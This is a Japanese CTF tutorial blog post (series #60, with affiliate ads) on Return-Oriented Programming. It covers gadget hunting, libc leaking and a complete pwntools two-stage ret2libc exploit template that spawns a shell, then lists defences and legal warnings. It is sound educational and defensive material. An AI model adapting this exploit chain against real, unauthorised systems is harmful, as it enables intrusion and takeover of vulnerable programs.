PR 本記事には広告(Amazonアソシエイト・もしもアフィリエイト・A8.net等)が含まれます。掲載情報の正確性には努めていますが、商品の詳細は必ずリンク先で最新情報をご確認ください。

【ROP入門編】ガジェット連結でNXを越える|CTF思考フレームワーク #60

【ROP入門編】ガジェット連結でNXを越える|CTF思考フレームワーク #60 アイキャッチ画像
安全に生きたい編集部

広告・PRを含みます。この記事にはアフィリエイトリンクが含まれます。掲載内容は編集方針に基づいて作成していますが、価格・在庫・キャンペーン内容はリンク先で最新情報を確認してください。

ROP?……Return Oriented Programming って、何ができるの?🔧

NX(実行禁止)保護がかかった環境で『すでにメモリに存在するコードの断片(ガジェット)』を連結して、任意のコードを実行する技術。スタックBoFができてもNXで止まる、その先の世界を開けます。

ROP(Return Oriented Programming)は、NX bit / DEP(Data Execution Prevention)を回避する技術。攻撃者が直接コードをインジェクションできなくても、既存のバイナリ内にある『短いコード片+ret命令』のガジェットを連結して、計算機としてプログラムを組み立てます。pwntools の ROPユーティリティが定番。

既存のコードを継ぎ接ぎして攻撃って、すごい発想だな…

この記事は、CTF思考フレームワーク第60回。ROP入門として、ガジェットの探し方(ROPgadget・Ropper)、pwntools での自動連結、典型的なret2system / ret2libc シナリオを実践的に整理します。

📖 この記事はシリーズの一部です
CTF思考フレームワーク#60 / 全86記事 → シリーズ一覧を見る →

🧱 NX有効でも諦めない。ROP(Return-Oriented Programming)は「既存コードのret付き断片」を連鎖して任意の処理を組み立てる技術。Pwn学習の中盤の山です。

ROPの基本は「gadgetを集める」「rdiやrsiに値を設定する」「最終的にsystem(“/bin/sh”)やexecveに到達する」。まずシンプルなret2libcから入って、徐々に多段ROPに進むのが王道。

難易度:★★★(上級)

ガジェット連結でNXを越えます⛓️

ROPは「コード片(ガジェット)を連結して任意処理を実行」する技術。NXがあっても効く⛓️

この記事で出てくる言葉

先に意味を押さえておくと読みやすい用語です。

  • CTF: セキュリティの練習問題を解く競技。必ず許可された環境だけで試します。
  • Pwn: バイナリの不備を突いてプログラムの制御を奪うCTF分野です。
  • ROP: 既存コードの断片をつなぎ、攻撃用の処理を作る高度な手法です。
  • スタック: 関数呼び出しや一時データを積み上げて管理するメモリ領域です。

👀 観察フェーズ:まず何を見る?

バイナリ全体をROPgadgetで分析→pop系ガジェットを集めるのが第一歩🔍

ROP前提は「Stack BOFが取れる」「NX有効」「libc使用」。さらに leak 経路(puts(GOT[puts])など)の確保、PIE 有無、libcバージョン特定(libc-database)が伏線。

  • NX有効(実行不可スタック)
  • libc使用&ベース漏洩経路
  • libc.so.6 のバージョン(libc-database / libc.rip)
  • 使えるgadget(pop rdi; ret等)
  • GOT/PLT エントリ(puts/printf/read等)
  • one_gadget の使えるエントリ

頻出ガジェット: pop rdi; ret / pop rsi; pop r15; ret / syscall; retretで終わる短い命令列が宝です👀

NX有効でも既存コードを使うROPなら関係ないんだね💡

🤔 仮説フェーズ:攻撃者は何を考える?

ROP入門の4要素。

🕶️ 攻撃者は2段ROPで考えます。1段目:libcベース漏洩(puts(puts)→putsアドレス取得→libcベース計算)、2段目:本ROP(system + “/bin/sh”)。one_gadgetがあれば1段目から直行も可能。

🧩 仮説①:ガジェット収集

ROPgadget --binary ./progで全ガジェット列挙。レジスタ操作・syscall・writeableに分類。

⛓️ 仮説②:チェーン構築

引数をpop rdi; retで準備→関数呼び出し→次ガジェット…とスタック上にrip列を構築

📚 仮説③:libc関数の呼び出し

system / execve / mprotect / readの組合せで任意コード実行へ。

🚀 仮説④:ret2csu

CSU(__libc_csu_init)を使ったガジェット少数でも引数3つ揃えるテク。x64定番。

ROPは「既存コードのコラージュ」でTuring完全な処理を作るんだね😲

🔬 検証フェーズ:どうやって確かめる?

pwntoolsのROP()クラスはガジェット自動連結機能つきで超便利🧪

まずgadget収集(ROPgadget / ropper)。libcバージョン特定はpwntoolsのlibc-database/findlibc.rip。leak値からlibcベースを引いて、対象関数のオフセットを足して呼び出し。

# gadget収集
ROPgadget --binary ./chall | grep "pop rdi"
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi"

# libc特定
# leak値の下位3桁hexを libc.rip に投げる
# 例:puts=0x7f...c20  → libc6_2.31-0ubuntu9.9_amd64.so

# pwntoolsで自動化
from pwn import *
libc = ELF('./libc.so.6')
base = leak - libc.symbols['puts']

libcのアドレスが必要だから、最初にlibc leakをする2段構えが定番だね💡

⚔️ 攻撃フェーズ:実際の手口

ROP攻撃の典型3パターン。

典型ROP(2段):①putsでputs自身のGOTをリーク→libcベース算出、②main再呼び出し→2回目入力でsystem(“/bin/sh”)。

# 2段ROPのテンプレ
from pwn import *
elf = ELF('./chall')
libc = ELF('./libc.so.6')
p = process('./chall')

pop_rdi = 0x...   # ROPgadgetで取得
ret = pop_rdi + 1

# 1段目:puts(puts)でリーク
payload = b'A'*72 + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['main'])
p.sendline(payload)
leak = u64(p.recvline().strip().ljust(8, b'x00'))
libc.address = leak - libc.symbols['puts']

# 2段目:system("/bin/sh")
binsh = next(libc.search(b'/bin/sh'))
payload2 = b'A'*72 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(libc.symbols['system'])
p.sendline(payload2)
p.interactive()

one_gadgetが当たればROPチェーンが pop rdi → 0 → one_gadget の3エントリで終わります。条件(rax=0等)を満たすかは事前に確認🎯

① ret2libc via ROP

pop rdi; ret"/bin/sh"を準備→system()でシェル取得

② mprotect→shellcode

mprotectでスタック領域を実行可能に→読み込んだshellcodeにジャンプ。NX回避の代表。

③ SROP (Sigreturn ROP)

シグナルハンドラのrt_sigreturn全レジスタを一発設定するテクニカル攻撃。

🛡️ 防御フェーズ:どう守る?

ROP対策の3レイヤー。

ROP対策は「リターンアドレスを物理的に守る」(CET Shadow Stack)と「leakを許さない」(FORTIFY、Full RELRO)の二方向。CFIも併用。

  • Full RELROでGOT書き換え不可
  • Stack CanaryでBOF時に検知
  • Intel CET / Shadow Stack
  • FORTIFY_SOURCEでprintf系の安全側関数化
  • CFI(Clang -fsanitize=cfi)
  • WindowsはControl Flow Guard(CFG)相当
🎲 ASLR + PIE

毎回違うアドレスでガジェット位置が分からなくする。leakを防ぐのが鍵。

🛡️ Control Flow Integrity (CFI)

retの飛び先を正規関数開始のみに制限。Intel CETやLLVM CFIなど。

🐦 Shadow Stack

ハードウェア支援でretアドレスを別領域に複製して整合検証。

「ASLR + CFI + Shadow Stack」を組み合わせればROPは最小化できる💪

🧪 pwn検証用のLinuxラボ

Pwnやエクスプロイトの練習は、必ず自分の検証環境で。💻 ConoHa VPSならLinuxをワンクリックで立てて、gdb-pedaやpwntoolsを仕込んでそのままトレーニングできます。

PR / 広告

ConoHa VPS

※ 上記は他社サービスへのリンクです。購入は各自でご判断ください。

⚠️ よくある落とし穴

  1. libcバージョン違いでオフセットがズレる
  2. PIEを忘れて絶対アドレスを書く
  3. one_gadget条件(rax=0等)を確認せず常に失敗
  4. leakが行末改行込みで strip 忘れ
  5. main再呼び出しで関数プロローグ endbr64 がCETでブロック
  6. ASLR上位3バイトのみ可変なのに4バイトとして扱う

🧰 ツール早見表

ツール用途備考
ROPgadget / roppergadget抽出バイナリとlibc両方
pwntools ELF/libcシンボル解決p64/u64/process/remote
libc-database / libc.riplibc特定leak下位3桁から
one_gadgetlibc内execve条件付き決め技
gdb + pwndbgチェーン検証tele $rsp 30

🎓 本気で学びたい人へ

ローレベルやOSレベルの許可を、仕事として深く学びたい方へ。🎓 ササエルはインフラとセキュリティの両方を学べるスクールです。

PR / 広告

ササエル

📚 もっと深く学びたい人へ

実際に手を動かして攻撃手法を体で覚えたいなら『7日間でハッキングをはじめる本 TryHackMe』がおすすめ📚

📚 次に読みたい

✍️ 学んだことを発信する

検証ノートをブログで公開したい方は、高速で安価なConoHa WINGが使いやすいです。

PR / 広告

ConoHa WING

⚖️ 大事なお約束

必ず守ってね

この記事の手法は、必ず自分の環境か、許可されたCTF・脆弱性報奨金プログラム(HackerOne、Bugcrowd等)で試してください。他人のサービスに無断で攻撃を仕掛けるのは不正アクセス禁止法違反、立派な犯罪です。学んだ知識は守る側で活かしましょう🤝

この記事は合法な学習・防御目的での解説です。許可のないシステムへの攻撃は犯罪になります(不正アクセス禁止法ほか)。検証は必ず自分が管理する環境・CTF・公式ハンズオンで行ってください🙏

記事URLをコピーしました